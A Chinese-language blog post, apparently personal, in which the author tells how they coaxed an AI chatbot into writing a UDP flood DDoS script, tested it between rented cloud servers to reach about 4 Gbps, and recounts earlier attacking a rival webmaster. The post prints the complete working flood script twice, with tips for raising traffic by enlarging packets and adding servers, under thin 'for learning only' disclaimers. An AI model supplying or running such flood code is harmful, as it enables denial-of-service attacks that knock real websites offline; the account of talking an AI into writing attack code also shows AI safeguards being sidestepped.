xChar
·4 months ago

本文只是用于学习交流DDOS攻击原理,并非教人去如何攻击他人网站 做出违法的事情。

前言:

之前我写了一篇记一段CC攻击经历 记录了身为小白的我,一行代码都不会写利用AI写出一个简单的CC攻击脚本,攻击一个发生过摩擦的站长(随后这位站长礼尚往来DDOS和CC了我几天)最后事情不了了之也没有了后续。

今天这个文章去玩DDOS也是突发奇想的一个点子,我只知道DDOS向目标服务器发送大量请求导致服务器不可用,消耗服务器的资源最后服务商那边检测出再将服务器IP进入黑洞,来达到击落的一个效果。

:p[How_to_stop_DDoS_attacks_hero-1024x501]{.center}

像UDP TCP 洪水攻击 放大攻击,这些我听说过但是并没有认真去了解背后是如何实现依旧原理,Google搜索出来的解释都比较官方并不是很容易消化理解,于是找了AI进行另类的对话理解了其中的实现原理,并且套话AI把我写一个python脚本 自己进行了测试效果杆杆的。

代码测试:

在vultr开了两台同地区的服务器,均使用CPU优化服务器,一个80刀一个160刀服务器,一开始的代码测试打出5m左右流量 后面直接加了1000并发也才7m,和AI沟通可以通过添加数据包大小达到流量巅峰。

写出新的代码测试,在vultr后台显示:

:p[Snipaste_2024-05-19_13-33-35]{.center}

服务器都是G口流量,居然打出了4Gbps的效果,通过SSH连接工具监控也能看到巅峰上行2G左右,被打的服务器也确实收到了这些流量 由于我测试完了就立马删机了(怕官方封号,里面还有一百多美金没有用呢)就没有过于详细的截图。

打了一下自己的服务器,有的流量一过去就死,有的一台服务器打不动两台服务器一起就死了,两台服务器如果只通过SSH连接工具监控来算 差不多有3-5G的上行,短短测试一会几百G的流量就没有了,然后我之前买的香港BPG服务器官方说500M带宽,用脚本测速下行其实500M差不多 上行居然有时可以跑到2000M+ 要是那些不法分子有着这些服务器 或者像ColoCrossing那种不限流量的服务器 在服务商那边监管不严的情况下 买个几台轻轻松松就能把没有防御或低防御的服务器打进黑洞。

代码贴出:

注意⚠️:你只能用于学习了解DDOS攻击原理,并且想自己研究如何防御攻击 切勿拿来做违法的事情 也切勿拿来做攻击他人网站的事情。

不管是在SEO的角度来看 或者一些公益或盈利的站点 一个网站的稳定性都是非常重要的,常在河边走那有不湿鞋 想做违法的事情 我劝你善良。

import socket
import threading
import time
def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes_to_send = message.encode('utf-8')
    end_time = time.time() + duration
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()
    print("Attack finished.")
target_ip = "127.0.0.1"  # 目标IP地址
target_port = 80             # 目标端口
message = "A" * 20000         # 发送的消息(1024字节大小的数据包)
duration = 100                # 持续时间(秒)
num_threads = 10           # 并发线程数
packet_size = 1024           # 每个UDP数据包的大小(字节)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)

上面是去除一些多行和注释,如不可用 请用AI提供的原版:

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    # 创建UDP套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # 将消息编码为字节
    bytes_to_send = message.encode('utf-8')
    
    # 获取当前时间
    end_time = time.time() + duration
    
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    
    # 定义发送数据的函数
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    
    # 启动多个线程发送UDP请求
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    
    # 等待所有线程完成
    for thread in threads:
        thread.join()
    
    print("Attack finished.")

# 配置攻击参数
target_ip = "127.0.0.1"  # 目标IP地址
target_port = 80             # 目标端口
message = "A" * 20000         # 发送的消息(1024字节大小的数据包)
duration = 100                # 持续时间(秒)
num_threads = 10           # 并发线程数
packet_size = 1024           # 每个UDP数据包的大小(字节)

# 发起攻击
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
Loading comments...